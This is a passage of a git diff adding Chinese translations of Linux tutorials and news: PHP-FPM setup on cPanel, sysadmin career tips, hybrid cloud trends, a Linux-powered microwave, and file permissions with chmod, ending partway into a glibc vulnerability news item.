+就这样 :)。现在,我们该去欣赏 MariaDB 完善和高效的特点了。希望你喜欢阅读本文。希望留下您宝贵的建议和反馈! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/how-tos/install-mariadb-10-centos-7-cpanel/ + +作者:[Saheetha Shameer][a] +译者:[strugglingyouth](https://github.com/strugglingyouth) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/saheethas/ diff --git a/published/201606/20160217 How to Enable Multiple PHP-FPM Instances with Nginx or Apache.md b/published/201606/20160217 How to Enable Multiple PHP-FPM Instances with Nginx or Apache.md new file mode 100644 index 0000000000..c9809b68e1 --- /dev/null +++ b/published/201606/20160217 How to Enable Multiple PHP-FPM Instances with Nginx or Apache.md @@ -0,0 +1,121 @@ +如何启用 Nginx/Apache 的 PHP-FPM 多实例 +================================================================================ + +PHP-FPM 作为 FastCGI 进程管理器而广为熟知,它是 PHP FastCGI 实现的改进,带有更为有用的功能,用于处理高负载的服务器和网站。下面列出其中一些功能: + +### 新功能 ### + + - 拥有具有优雅(graceful)启动/停止选项的高级进程管理能力。 + - 可以通过不同的用户身份/组身份来以监听多个端口以及使用多个PHP配置。 + - 错误日志记录。 + - 支持上传加速。 + - 特别用于在处理一些耗时任务时结束请求和清空所有数据的功能。 + - 同时支持动态和静态的子进程重生。 + - 支持IP地址限制。 + +在本文中,我将要讨论的是,在运行 CPanel 11.52 及 EA3 (EasyApache)的 CentOS 7 服务器上,于 Nginx 和 Apache 之上安装 PHP-FPM,以及如何来通过 CPanel 管理这些安装好的多个 PHP-FPM 实例。 + +在我们开始安装前, 先看看安装的先决条件。 + +### 先决条件 ### + + 1. 启用 Mod_proxy_fcgi 模块 + 2. 启用 MPM_Event + +由于我们要将 PHP-FPM 安装到一台 EA3 服务器,我们需要运行 EasyApache 来编译 Apache 以启用这些模块。 + +你们可以参考我以前写的,关于如何在 Apache 服务器上安装 Nginx 作为反向代理的文档来了解 Nginx 的安装。 + +这里,我将再次简述那些安装步骤。具体细节,你可以参考我之前写的**(如何在 CentOS 7/CPanel 服务器上配置 Nginx 反向代理)**一文。 + +- 步骤 1:安装 Epel 仓库 +- 步骤 2:安装 nDeploy RPM 仓库,这是此次安装中最为**重要**的步骤。 +- 步骤 3:使用 yum 从 nDeploy 仓库安装 nDeploy 和 Nginx 插件。 +- 步骤 4:启用/配置 Nginx 为反向代理。 + +完成这些步骤后,下面为服务器中所有可用 PHP 版本安装 PHP-FPM 包,EA3 使用 remi 仓库来安装这些包。你可以运行这个 nDeploy 脚本来下载所有的包。 + + root@server1 [~]# /opt/nDeploy/scripts/easy_php_setup.sh + Loaded plugins: fastestmirror, tsflags, universal-hooks + EA4 | 2.9 kB 00:00:00 + base | 3.6 kB 00:00:00 + epel/x86_64/metalink | 9.7 kB 00:00:00 + epel | 4.3 kB 00:00:00 + extras | 3.4 kB 00:00:00 + updates | 3.4 kB 00:00:00 + (1/2): epel/x86_64/updateinfo | 460 kB 00:00:00 + (2/2): epel/x86_64/primary_db + +运行该脚本将为 PHP 54,PHP 55,PHP 56 和 PHP 70 安装所有这些 FPM 包。 + + Installed Packages + php54-php-fpm.x86_64 5.4.45-3.el7.remi @remi + php55-php-fpm.x86_64 5.5.31-1.el7.remi @remi + php56-php-fpm.x86_64 5.6.17-1.el7.remi @remi + php70-php-fpm.x86_64 7.0.2-1.el7.remi @remi + +在以上安装完成后,你需要为 Apache 启用 PHP-FPM SAPI。你可以运行下面这个脚本来启用 PHP-FPM 实例。 + + root@server1 [~]# /opt/nDeploy/scripts/apache_php-fpm_setup.sh enable + mod_proxy_fcgi.c + Please choose one default PHP version from the list below + PHP70 + PHP56 + PHP54 + PHP55 + Provide the exact desired version string here and press ENTER: PHP54 + ConfGen:: lxblogger + ConfGen:: blogr + ConfGen:: saheetha + ConfGen:: satest + which: no cagefsctl in (/usr/local/jdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/X11R6/bin:/root/bin) + info [rebuildhttpdconf] Missing owner for domain server1.centos7-test.com, force lookup to root + Built /usr/local/apache/conf/httpd.conf OK + Waiting for “httpd” to restart gracefully …waiting for “httpd” to initialize …… + …finished. + +它会问你需要运行哪个 PHP 版本作为服务器默认版本,你可以输入那些细节内容,然后继续配置并为现存的域名生成虚拟主机文件。 + +我选择了 PHP 54 作为我服务器上的默认 PHP-FPM 版本。 + +![confirm-php-fpm](http://blog.linoxide.com/wp-content/uploads/2016/01/confirm-php-fpm-1024x525.png) + +虽然服务器配置了 PHP-FPM 54,但是我们可以通过 CPanel 为各个独立的域名修改 PHP-FPM 实例。 + +下面我将通过一些截图来为你们说明一下,怎样通过 CPanel 为各个独立域修改 PHP-FPM 实例。 + +安装了 Nginx 插件后,你的域名的 CPanel 就会有一个 Nginx Webstack 图标,你可以点击该图标来配置你的 Web 服务器。我已经登录进了我其中的一个 CPanel 来配置相应的 Web 服务器。 + +请看这些截图。 + +![nginx webstack](http://blog.linoxide.com/wp-content/uploads/2016/01/nginx-webstack.png) + +![nginxicon1](http://blog.linoxide.com/wp-content/uploads/2016/01/nginxicon1-1024x253.png) + +现在,你可以根据需要为选中的主域配置 web 服务器(这里,我已经选择了主域 saheetha.com)。我已经继续通过自动化配置选项来进行了,因为我不需要添加任何手动设置。 + +![nginx_auto_proxy](http://blog.linoxide.com/wp-content/uploads/2016/01/nginx_auto_proxy-1024x408.png) + +当 Nginx 配置完后,你可以在这里为你的域名选择 PHP-FPM 实例。 + +![php-fpm1](http://blog.linoxide.com/wp-content/uploads/2016/01/php-fpm1-1024x408.png) + +![php54](http://blog.linoxide.com/wp-content/uploads/2016/01/php54-1024x169.png) + +![php55](http://blog.linoxide.com/wp-content/uploads/2016/01/php55.png) + +就像你在截图中所看到的,我服务器上的默认 PHP-FPM 是**PHP 54**,而我正要将我的域名的 PHP-FPM 实例单独修改成 **PHP 55**。当你为你的域修改 PHP-FPM 后,你可以通过访问 **phpinfo** 页面来确认。 + +谢谢你们参考本文,我相信这篇文章会给你提供不少信息和帮助。我会为你们推荐关于这个内容的有价值的评论 :)。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/enable-multiple-php-fpm-instances-nginx-apache/ + +作者:[Saheetha Shameer][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/saheethas/ diff --git a/published/201606/20160218 7 Steps to Start Your Linux SysAdmin Career.md b/published/201606/20160218 7 Steps to Start Your Linux SysAdmin Career.md new file mode 100644 index 0000000000..0f46f091d3 --- /dev/null +++ b/published/201606/20160218 7 Steps to Start Your Linux SysAdmin Career.md @@ -0,0 +1,59 @@ +七步开始你的 Linux 系统管理员生涯 +=============================================== + +Linux 现在是个大热门。每个人都在寻求 Linux 才能。招聘人员对有 Linux 经验的人求贤若渴,还有无数的职位虚位以待。但是如果你是 Linux 新手,又想要赶上这波热潮,该从何开始下手呢? + +###1、安装 Linux### + +这应该是不言而喻的,但学习 Linux 的第一关键就是安装 Linux。LFS101x 和 LFS201 课程都包含第一次安装和配置 Linux 的详细内容。 + +###2、 完成 LFS101x 课程### + +如果你是完完全全的 Linux 新手,最佳的起点是我们的免费 Linux 课程 [LFS101x Introduction to Linux](https://www.edx.org/course/introduction-linux-linuxfoundationx-lfs101x-2)。这个在线课程放在 edX.org,探索 Linux 系统管理员和终端用户常用的各种工具和技能以及日常的 Linux 工作环境。该课程是为有一定经验,但较少或没有接触过 Linux 的电脑用户设计的,不论他们是在个人还是企业环境中工作。这个课程会从图形界面和命令行两个方面教会你有用的 Linux 知识,让你能够了解主流的 Linux 发行版。 + +###3、 看看 LFS201 课程### + +在你完成 LFS101x 之后,你就可以开始挑战 Linux 中更加复杂的任务了,这是成为一名专业的系统管理员所必须的。为了掌握这些技能,你应该看看 [LFS201 Essentials of Linux System Administration](http://training.linuxfoundation.org/linux-courses/system-administration-training/essentials-of-system-administration) 这个课程。该课程对每个话题进行了深度的解释和介绍,还有大量的练习和实验,帮助你获得相关主题实际的上手经验。 + +如果你更愿意有个教练,或者你的雇主想将你培养成 Linux 系统管理员的话,你可能会对 LFS220 Linux System Administration 感兴趣。这个课程有 LFS201 中所有的主题,但是它是由专家专人教授的,帮助你进行实验以及解答你在课程主题中的问题。 + +###4、 练习!### + +熟能生巧,和对任何乐器或运动适用一样,这对 Linux 来说也一样适用。在你安装 Linux 之后,经常使用它。一遍遍地练习关键任务,直到你不需要参考材料也能轻而易举地完成。练习命令行的输入输出以及图形界面。这些练习能够保证你掌握成为成功的 Linux 系统管理员所必需的知识和技能。 + +###5、 获得认证### + +在你完成 LFS201 或 LFS220 并且充分练习之后,你现在已经准备好获得系统管理员的认证了。你需要这个证书,因为你需要向雇主证明你拥有一名专业 Linux 系统管理员必需的技能。 + +现在有一些不同的 Linux 证书,它们每个都有其独到之处。但是,它们里大部分不是在特定发行版(如红帽)上认证,就是纯粹的知识测试,没有演示 Linux 的实际技能。Linux 基金会认证系统管理员(Linux Foundation Certified System Administrator)证书对想要一个灵活的,有意义的初级证书的人来说是个不错的选择。 + +###6、 参与进来### + +如果你所在的地方有本地 Linux 用户组(Linux Users Group,LUG)的话,这时候你可以考虑加入他们。这些组织通常由各种年龄和经验水平的人组成,所以不管你的 Linux 经验水平如何,你都能找到和你类似技能水平的人互助,或是更高水平的 Linux 用户来解答你的问题以及介绍有用的资源。要想知道你附近有没有 LUG,上 meet.com 看看,或是附近的大学,又或是上网搜索一下。 + +还有不少在线社区可以在你学习 Linux 的时候帮助你。这些站点和社区向 Linux 新手和有经验的管理员都能够提供帮助和支持: + + - [Linux Admin subreddit](https://www.reddit.com/r/linuxadmin) + - [Linux.com](http://www.linux.com/) + - [training.linuxfoundation.org](http://training.linuxfoundation.org/) + - [http://community.ubuntu.com/help-information/](http://community.ubuntu.com/help-information/) + - [https://forums.opensuse.org/forum.php](https://forums.opensuse.org/forum.php) + - [http://wiki.centos.org/Documentation](http://wiki.centos.org/Documentation) + +###7、 学会热爱文档### + +最后但同样重要的是,如果你困在 Linux 的某些地方,别忘了 Linux 包含的文档。使用命令 man(manual,手册),info 和 help,你从系统内就可以找到 Linux 几乎所有方面的信息。这些内置资源的用处再夸大也不为过,你会发现你在生涯中始终会用到,所以你可能最好早点掌握使用它们。 + +想要了解更多开始你 Linux IT 生涯的信息?查看我们免费的电子书“[开始你 Linux IT 生涯的简短指南](http://training.linuxfoundation.org/sysadmin-it-career-guide)”。 + +------------------------------------------------------------------------------ + +via: http://www.linux.com/news/featured-blogs/191-linux-training/834644-7-steps-to-start-your-linux-sysadmin-career + +作者:[linux.com][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:linux.com diff --git a/published/201606/20160218 9 Key Trends in Hybrid Cloud Computing.md b/published/201606/20160218 9 Key Trends in Hybrid Cloud Computing.md new file mode 100644 index 0000000000..92fba66440 --- /dev/null +++ b/published/201606/20160218 9 Key Trends in Hybrid Cloud Computing.md @@ -0,0 +1,74 @@ +混合云计算的 9 大关键趋势 +======================================== + +自从几年前云计算的概念受到IT界的关注以来,公有云、私有云和混合云这三种云计算方式都有了可观的演进。其中混合云计算方式是最热门的云计算方式,在接受调查的公司中,有[88%的公司](https://www.greenhousedata.com/blog/hybrid-continues-to-be-most-popular-cloud-option-adoption-accelerating)将混合云计算摆在至关重要的地位。 + +混合云计算的疾速演进意味着一两年前的传统观念已经过时了。为此,我们询问了几个行业分析师,混合云在2016年的走势将会如何,我们得到了几个比较有意思的答案。 + +1. **2016年可能是我们将混合云投入使用的一年。** + +混合云从本质上来说依赖于私有云,这对企业来说是比较难实现的。事实上,亚马逊,谷歌和微软的公有云已经进行了大量的投资,并且起步也比较早。私有云拖了混合云发展和使用的后腿。 + +私有云没有得到这么多的投资,这是有私有云的性质决定的。私有云意味着维护和投资你自己的数据中心。而许多公有云提供商正在推动企业减少或者消除他们的数据中心。 + +然而,得益于 OpenStack 的发展和微软的 Azure Stack ,这两者基本上就是封装在一个盒子里的私有云,我们将会看到私有云慢慢追上公有云的发展步伐。支持混合云的工具、基础设施和架构也变得更加健壮。 + +2. **容器,微服务和 unikernels 将会促进混合云的发展。** + +分析师预言,到2016年底,这些原生云技术会或多或少成为主流的。这些云技术正在快速成熟,将会成为虚拟机的一个替代品,而虚拟机需要更多的资源。 + +更重要的是,他们既能工作在在线场景,也能工作在离线场景。容器化和编排允许快速的扩大规模,进行公有云和私有云之间的服务迁移,使你能够更容易移动你的服务。 + +3. **数据和相关性占据核心舞台。** + +所有的云计算方式都处在发展模式。这使得云计算变成了一个技术类的故事。咨询公司 [Avoa](http://avoa.com/2016/01/01/2016-is-the-year-of-data-and-relevance/)称,随着云趋于成熟,数据和相关性变得越来越重要。起初,云计算和大数据都是关于怎么得到尽可能多的数据,然后他们担心如何处理这海量的数据。 + +2016年,相关组织将会继续锤炼如何进行数据收集和使用的相关技术。在必须处理的技术和文化方面仍然有待提高。但是2016年应该重新将关注点放在从各个方面考虑的数据重要性上,发现最相关的信息,而不只是数据的数量。 + +4. **云服务将超越按需工作负载。** + +AWS(Amazon Web Services) 起初是提供给程序员或者是开发人员能够快速启动虚拟机、做一些工作然后离线的一个地方。本质上是按需使用,要花费更多的钱才能让这些服务持续运行、全天候工作。 + +然而,IT 公司正开始作为服务代理,为内部用户提供各种 IT 服务。可以是内部 IT 服务,公有云基础架构提供商,平台服务和软件服务。 + +他们将越来越多的认识到像云管理平台这样的工具的价值。云管理平台可以提供针对不同服务的基于策略的一致性管理。他们也将看到像提高可移植性的容器等技术的价值。然而,云服务代理,在不同云之间快速移动工作负载从而进行价格套利或者类似的原因,仍然是行不通的。 + +5. **服务提供商转变成了云服务提供商。** + +到目前为止,购买云服务成了直销模式。AWS EC2 服务的使用者通常变成了购买者,要么通过官方认证渠道,要么通过影子 IT。但是随着云服务越来越全面,提供的服务菜单越来越复杂,越来越多的人转向了经销商,服务提供商转变成了他们 IT 服务的购买者。 + +2nd Watch (2nd Watch 是为企业提供云管理的 AWS 的首选合作伙伴)最近的一项调查发现,在美国将近85%的 IT 高管愿意支付一个小的溢价从渠道商那里购买公有云服务,如果购买过程变得不再那么复杂。根据调查,这85%的高管有五分之四的愿意支付额外的15%或者更多。三分之一的受访高管表示,这些有助于他们购买、使用和管理公有云服务。 + +6. **物联网和云对于2016年的意义好比移动和云对2012年的意义。** + +物联网获得了广泛的关注,更重要的是,物联网已经从测试场景进行了实际应用。云的分布式特性使得云成为了物联网非常重要的一部分,对于工业物联网,与后端系统交互的机械和重型设备,混合云将会成为最自然的驱动者,连接,数据采集和处理将会发生在混合云环境中,这得益于私有云在安全和隐私方面的好处。 + +7. **NIST 对云的定义开始瓦解。** + +2011年,美国国家标准与技术研究院发布了“[ NIST 对于云计算的定义](http://csrc.nist.gov/publications/nistpubs/800-145/SP800-145.pdf)”(PDF),这个定义成为了私有云、公有云、混合云和 aaS 模板的标准定义。 + +然而随着时间的推移,定义开始改变。IaaS 变得更加复杂,开始支持 OpenStack,[Swift](https://wiki.openstack.org/wiki/Swift) 对象存储和神经网络这样的项目。PaaS 似乎正在消退,因为 PaaS 和传统的中间件开发几乎无异。SaaS,只是通过浏览器进行访问的应用,也正在失去发展动力,因为许多 app 和服务提供了许多云接口,你可以通过各种手段调用接口,不仅仅通过浏览器。 + +8. **分析变得更加重要** + +对于混合云计算来说,分析将会成为一个巨大的增长机遇,云计算具有规模大、灵活性高的优势,使得云计算非常适合需要海量数据的分析工作。对于某些分析方式,比如高度敏感的数据,私有云仍然是主导地位,但是私有云也是混合云的一部分。因此,无论如何,混合云计算胜出。 + +9. **安全仍然是一个非常紧迫的问题。** + +随着混合云计算在2016年的发展,以及对物联网和容器等新技术的引进,这同时也增加了更多的脆弱可攻破的地方,从而导致数据泄露。先增加使用新技术的趋势,然后再去考虑安全性,这种问题经常发生,同时还有缺少经验的工程师不去考虑系统的安全问题,总有一天你会尝到灾难的后果的。 + +当一项新技术出来,管理规范总是落后于安全问题产生后,然后我们才考虑去保护技术。容器就是一个很鲜明的例子。你可以从 Docker 下载各种示例容器,但是你知道你下载的东西来自哪里么?在人们在对容器内容不知情的情况下下载并运行了容器之后,Docker 不得不重新加上安全验证。 + +像 Path 和 Snapchat 这样的移动技术在智能手机市场火起来之后也出现了重大的安全问题。一项新技术被恶意利用无可避免。所以安全研究人员需要通过各种手段来保证新技术的安全性,很有可能在部署之后才会发现安全问题。 + +------------------------------------------------------------------------------ + +via: http://www.datamation.com/cloud-computing/9-key-trends-in-hybrid-cloud-computing.html + +作者:[Andy Patrizio][a] +译者:[棣琦](https://github.com/sonofelice) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.datamation.com/author/Andy-Patrizio-90720.html diff --git a/published/201606/20160218 A Linux-powered microwave oven.md b/published/201606/20160218 A Linux-powered microwave oven.md new file mode 100644 index 0000000000..4b0c132694 --- /dev/null +++ b/published/201606/20160218 A Linux-powered microwave oven.md @@ -0,0 +1,47 @@ +一个 Linux 驱动的微波炉 +================================================================================ + +[linux.conf.au](http://linux.conf.au/)里的人们都有一种想到什么就动手去实现的想法。随着硬件开源运动不断地发展壮大,这种想法越来越多,也与现实世界联系的越来越紧密,而不仅仅存在于数字世界中。David Tulloh用他制作的[Linux驱动的微波炉 [WebM]](http://mirror.linux.org.au/linux.conf.au/2016/04_Thursday/D4.303_Costa_Theatre/Linux_driven_microwave.webm)来展示一个差劲的微波炉会多么难用,以及说明他的项目可以改造这些微波炉使得它们不那么讨人厌。 + +Tulloh的故事要从他买到了一个公认很便宜的微波炉开始说起,它的用户界面比其它微波炉默认的还要糟糕。设定时间时必须使劲按按钮以至于把微波炉都向后推了一段距离——而事实上必须要用力拉仓门把手才能把微波炉拖回原来的位置,这形成了一个“优雅”的平衡。当然这只是极端情况。Tulloh郁闷的是因为这个微波炉近十年来都没有一丁点明显的改善。他可能买到了一个又小又便宜的微波炉,而且特点是大部分人不研究使用手册就不会使用它——和智能手机的对比更加明显:智能手机只需知道一点点的操作指南并且被广泛使用。 + +改造这个微波炉不一定没有前途,“让微波炉重获新生”——这个想法成为了一个原型,如果Tulloh可以再平衡一下想做的功能和需求之间的关系的话他希望这变成一个众筹项目:一个Linux驱动的微波炉。 + +![](https://static.lwn.net/images/2016/lca-oven-sm.jpg) + +## 加一点新奇的小玩意 + +如果把“Linux”和“微波炉”联系在一起的话,你可能会想到给微波炉加上一个智能手机式的触摸屏和网络链接,然后再通过社区做一款微波炉的“革命性”的手机应用,想到这些就像做菜想到分享食谱一样显而易见。但Tulloh的目标和他的原型远远超过这些,他做了两个新奇的功能——热感相机和称量物体质量的称重装置。 + +这个热感相机提供一个可以精确到两度的八乘八像素的图像,这足够发现一杯牛奶是否加热到沸腾或者牛排是否解冻到快不能用来烹饪。不论发生哪种情况,都可以减小功率或者关掉它。而且在必要的时候会发出警报。这可能不是第一个可以检测温度的微波炉——GE在十年前就开始卖带温度探针的微波炉了——但是一个一直工作的内置传感器比一个手工探针有用多了,尤其是有一个可用的API支持的时候。 + +第二个新发明是一个嵌入的称重装置,它可以在加热之前称量食物(和容器)。很多食谱根据质量大小给出指导的烹饪时间,很多微波炉支持你手动输入质量以便它帮你计算。利用内置的称重装置,这一过程可以变成自动化的。在许多微波炉的转盘下面稳固地放置一个称重装置是一个机械方面的挑战,不过Tulloh觉得这个问题不难处理。相反,他对微波炉的设计是基于“平板”或者“平板挂车”的风格——在四角各放置一个传感器,这不仅在机械实现上很简单而且很好的达到了要求。 + +一旦你有了这些额外添加的并与逻辑引擎相连的质量温度传感器,你可以去尝试更多好玩的可能。一杯刚从冰箱里拿出来的冰牛奶的质量温度分布可能会有适度误差。Tulloh发现可以监检测到这种情况,而且提供一些有关的像“煮沸”或者“加热”的选项也是容易做到的(下面有一个模拟的界面,可点击操作的版本请点击右边链接 [here](http://mwgui.tulloh.id.au/)) + +![](https://static.lwn.net/images/2016/lca-ovengui-sm.png) + +## 改造陈旧的东西 + +除了才开发出来的新功能,Tulloh还想要提升那些原本就提供的功能。可能不是所有微波炉的门把手都像Tulloh那个廉价的一样僵硬,但是很少有微波炉将把手设计的让残疾人也能轻松使用。这些缺陷都是可调整的,尤其是在美国,微波炉应该在仓门关闭的时候给出一个确定关闭的提示。这种确认必须是可靠的以预防那些伪劣产品,所以在仓门闭合时固定的槽位里添加一个短杆以确认仓门开闭状态,不至于误使微波炉在仓门开着的时候工作。事实上,必须要有两个相互联系的机关,如果他们提供的结果不一致,保险丝必须断开以便启动一个呼叫服务。Tulloh认为提供一个磁力门闩有更大的灵活性(包含简单的软件控制)并且像磁控也同样用于[磁性钥匙锁](https://en.wikipedia.org/wiki/Magnetic_keyed_lock),它可以让磁力门闩确认微波炉门是否关闭。 + +微波炉的另一个痛点是它会发出令人厌烦的声音。Tulloh去掉了蜂鸣器并且使用香蕉派(类似于树莓派的单片机开发板)控制他的微波炉。这可以通过一个把文本转换成语音的系统来用令人愉悦而且可配置的警报来提示和引导使用者。显然,下一步就是装上一个用来控制声音的扩音器。 + +许多微波炉除了定时和设置功率档位之外还可以做更多的事情——它们为烹饪,加热,化冻等提供一系列的功率档位。加上一个精确的温度测量装置感觉会为这个图表大大扩展这个列表。Andrew Tridgell对一个问题很好奇,加热巧克力——一个需要非常精确的温度控制的过程——是否是可能的。Tulloh没有过这方面的经验,他不敢保证这个一定可以,但是这个实验结果的确值得期待。即使没做成这件事,它也显出了潜在价值——社区接下来可以更进一步去做这件事。 + +## 实用性怎么样? + +Tulloh十分乐意向全世界分享这个linux驱动的微波炉,他希望看到(因为这件事)形成一个社区并且想看到它接下来的走势。买一个现成的微波炉并且替换掉里面的电子元件看起来不是一个可行的点子。最后的结果可能会很糟,而买一个小巧智能的微波炉必然要花掉(比自己改造)更多的钱,但是潜在的顾客不想在他们的厨房里看到乱七八糟又不协调的东西。 + +许多零件都是现成的可以买到的(磁电管,处理器板,热传感器等等),像USB接口的热传感器,而且都很容易安装。软件原型当然也开源在[GitHub](https://github.com/lod?tab=repositories)。微波炉的舱室和门有不小的挑战性并且很可能要定制。Tulloh想要通过提供左侧开仓门的微波炉和颜色多样化的选项来转逆境为机遇。 + +一个对读者的快速调查:很少有人会贸然承诺他会为了一个全新的升级过的烤箱付出1000澳大利亚元。当然,很难知道是否会有充足的时间和足够多的读者来完成这个调查。这整个项目看起来很有趣。所以Tulloh的[博客](http://david.tulloh.id.au/category/microwave/) (点击这里)也很值得一看。 + +------------------------------------------------------------------------------ + +via: https://lwn.net/Articles/674877/ + +作者:Neil Brown +译者:[yuba0604](https://github.com/yuba0604) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/201606/20160218 Getting to Know Linux File Permissions.md b/published/201606/20160218 Getting to Know Linux File Permissions.md new file mode 100644 index 0000000000..99390b69ae --- /dev/null +++ b/published/201606/20160218 Getting to Know Linux File Permissions.md @@ -0,0 +1,138 @@ +初识 Linux 文件权限 +================================================================================ + +在 Linux 中最基本的任务之一就是设置文件权限。理解如何实现是你进入 Linux 世界的第一步。如您所料,这一基本操作在类 UNIX 操作系统中大同小异。实际上,Linux 文件权限系统就直接取自于 UNIX 文件权限(甚至使用许多相同的工具)。 + +![](http://www.linux.com/images/stories/66866/files_a.png) + +但不要以为理解文件权限需要长时间的学习。事实上会很简单,让我们一起来看看你需要了解哪些内容以及如何使用它们。 + +###基础概念 + +你要明白的第一件事是文件权限可以用来干什么。当你设置一个分组的权限时发生了什么?让我们将其展开来说,这个概念就真的简单多了。那到底什么是权限,什么是分组呢? + +你可以设置的3种权限: + +- 读 — 允许该分组读文件(用`r`表示) +- 写 — 允许该分组写文件(用`w`表示) +- 执行 — 允许该分组执行(运行)文件(用`x`表示) + +为了更好地解释这如何应用于一个分组,例如,你允许一个分组可以读写一个文件,但不能执行。或者,你可以允许一个分组读和执行一个文件,但不能写。甚至你可以允许一个分组有读、写、执行全部的权限,也可以删除全部权限来去除该组的权限。 + +现在,什么是分组呢,有以下4个: + +- user — 文件实际的拥有者 +- group — 用户所在的用户组 +- others — 用户组外的其他用户 +- all — 所有用户 + +大多数情况,你只会对前3组进行操作,`all` 这一组只是作为快捷方式(稍后我会解释)。 + +到目前为止很简单,对吧?接下来我们将深入一层。 + +如果你打开一个终端并运行命令 `ls -l`,你将会看到逐行列出当前工作目录下所有的文件和文件夹的列表(如图1). + +你会留意到最左边那列是像是 `-rw-rw-r--` 这样的。 + +实际上这列表应该这样看: + +> rw- rw- r-- + +正如你所见,列表将其分为如下3部分: + +- rw- +- rw- +- r-- + +权限和组的顺序都很重要,顺序总是: + +- 所属者 所属组 其他人 — 分组 +- 读 写 执行 — 权限 + +在我们上面示例的权限列表中,所属者拥有读/写权限,所属组拥有读/写权限,其他人用户仅拥有读权限。这些分组中赋予执行权限的话,就用一个 x 表示。 + +### 等效数值 + +接下来我们让它更复杂一些,每个权限都可以用一个数字表示。这些数字是: + +- 读 — 4 +- 写 — 2 +- 执行— 1 + +数值代替不是一个一个的替换,你不能像这样: + +> -42-42-4-- + +你该把每个分组的数值相加,给用户读和写权限,你该用 4 + 2 得到 6。给用户组相同的权限,也是使用相同的数值。假如你只想给其他用户读的权限,那就设置它为4。现在用数值表示为: + +> 664 + +如果你想给一个文件664权限,你可以使用 `chmod` 命令,如: + + chmod 664 FILENAME + +FILENAME 处为文件名。 + +### 更改权限 + +既然你已经理解了文件权限,那是时候学习如何更改这些权限了。就是使用 `chmod` 命令来实现。第一步你要知道你能否更改文件权限,你必须是文件的所有者或者有权限编辑文件(或者通过 `su` 或 `sudo` 得到权限)。正因为这样,你不能随意切换目录和更改文件权限。 + +继续用我们的例子 (`-rw-rw-r--`)。假设这个文件(命名为 script.sh)实际是个shell脚本,需要被执行,但是你只想让自己有权限执行这个脚本。这个时候,你可能会想:“我需要是文件的权限如 `-rwx-rw-r--`”。为了设置 `x` 权限位,你可以这样使用 `chmod` 命令: + + chmod u+x script.sh + +这时候,列表中显示的应该是 -rwx-rw-r-- 。 + +如果你想同时让用户及其所属组同时拥有执行权限,命令应该这样: + + chmod ug+x script.sh + +明白这是怎么工作的了吗?下面我们让它更有趣些。不管什么原因,你不小心给了所有分组对文件的执行权限(列表中是这样的 `-rwx-rwx-r-x`)。 + +如果你想去除其他用户的执行权限,只需运行命令: + + chmod o-x script.sh + +如果你想完全删除文件的可执行权限,你可以用两种方法: + + chmod ugo-x script.sh + +或者 + + chmod a-x script.sh + +以上就是所有内容,能使操作更有效率。我希望能避免哪些可能会导致一些问题的操作(例如你不小心对 script.sh 使用 `a-rwx` 这样的 `chmod` 命令)。 + +### 目录权限 + +你也可以对一个目录执行 `chmod` 命令。当你作为用户创建一个新的目录,通常新建目录具有这样的权限: + +> drwxrwxr-x + +注:开头的 `d` 表示这是一个目录。 + +正如你所见,用户及其所在组都对文件夹具有操作权限,但这并不意味着在这文件夹中出创建的文件也具有与其相同的权限(创建的文件使用默认系统的权限 `-rw-rw-r--`)。但如果你想在新文件夹中创建文件,并且移除用户组的写权限,你不用切换到该目录下并对所有文件使用 `chmod` 命令。你可以用加上参数 R(意味着递归)的 `chmod` 命令,同时更改该文件夹及其目录下所有的文件的权限。 + +现在,假设有一文件夹 TEST,里面有一些脚本,所有这些(包括 TEST 文件夹)拥有权限 `-rwxrwxr-x`。如果你想移除用户组的写权限,你可以运行命令: + + chmod -R g-w TEST + +运行命令 `ls -l`,你讲看到列出的 TEST 文件夹的权限信息是 `drwxr-xr-x`。用户组被去除了写权限(其目录下的所有文件也如此)。 + +### 总结 + +现在,你应该对基本的 Linux 文件权限有了深入的理解。对于更高级的东西学起来会很轻松,像 setgid、setuid 和 ACL 这些。没有良好的基础,你很快就会混淆不清概念的。 + +Linux 文件权限从早期到现在没有太大变化,而且很可能以后也不会变化。 + +------------------------------------------------------------------------------ + +via: http://www.linux.com/learn/tutorials/885268-getting-to-know-linux-file-permissions + +作者:[Jack Wallen][a] +译者:[ynmlml](https://github.com/ynmlml) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/community/forums/person/93 diff --git a/published/201606/20160218 Linux Systems Patched for Critical glibc Flaw.md b/published/201606/20160218 Linux Systems Patched for Critical glibc Flaw.md new file mode 100644 index 0000000000..e6a008f7bc --- /dev/null +++ b/published/201606/20160218 Linux Systems Patched for Critical glibc Flaw.md @@ -0,0 +1,52 @@ +修补 Linux 系统 glibc 严重漏洞 +================================================= + +**谷歌披露的一个严重漏洞影响到了主流的 Linux 发行版。glibc 的漏洞可能导致远程代码执行。** + +编者按:这个消息并不是一个新闻,基于技术的原因,我们还是分享给大家。 + +Linux 用户都在竞相给一个可以使系统暴露在远程代码执行风险中的核心 glibc 开放源码库的严重漏洞打补丁。这个 glibc 的漏洞编号被确定为 CVE-2015-7547,题为“getaddrinfo 基于堆栈的缓冲区溢出”。 + +glibc,或 GNU C 库,是一个开放源码的 C 和 C++ 编程语言库的实现,是每一个主流 Linux 发行版的一部分。谷歌工程师们在他们试图连接到某个主机系统时发生了一个段错误导致连接崩溃,偶然发现了 CVE-2015-7547 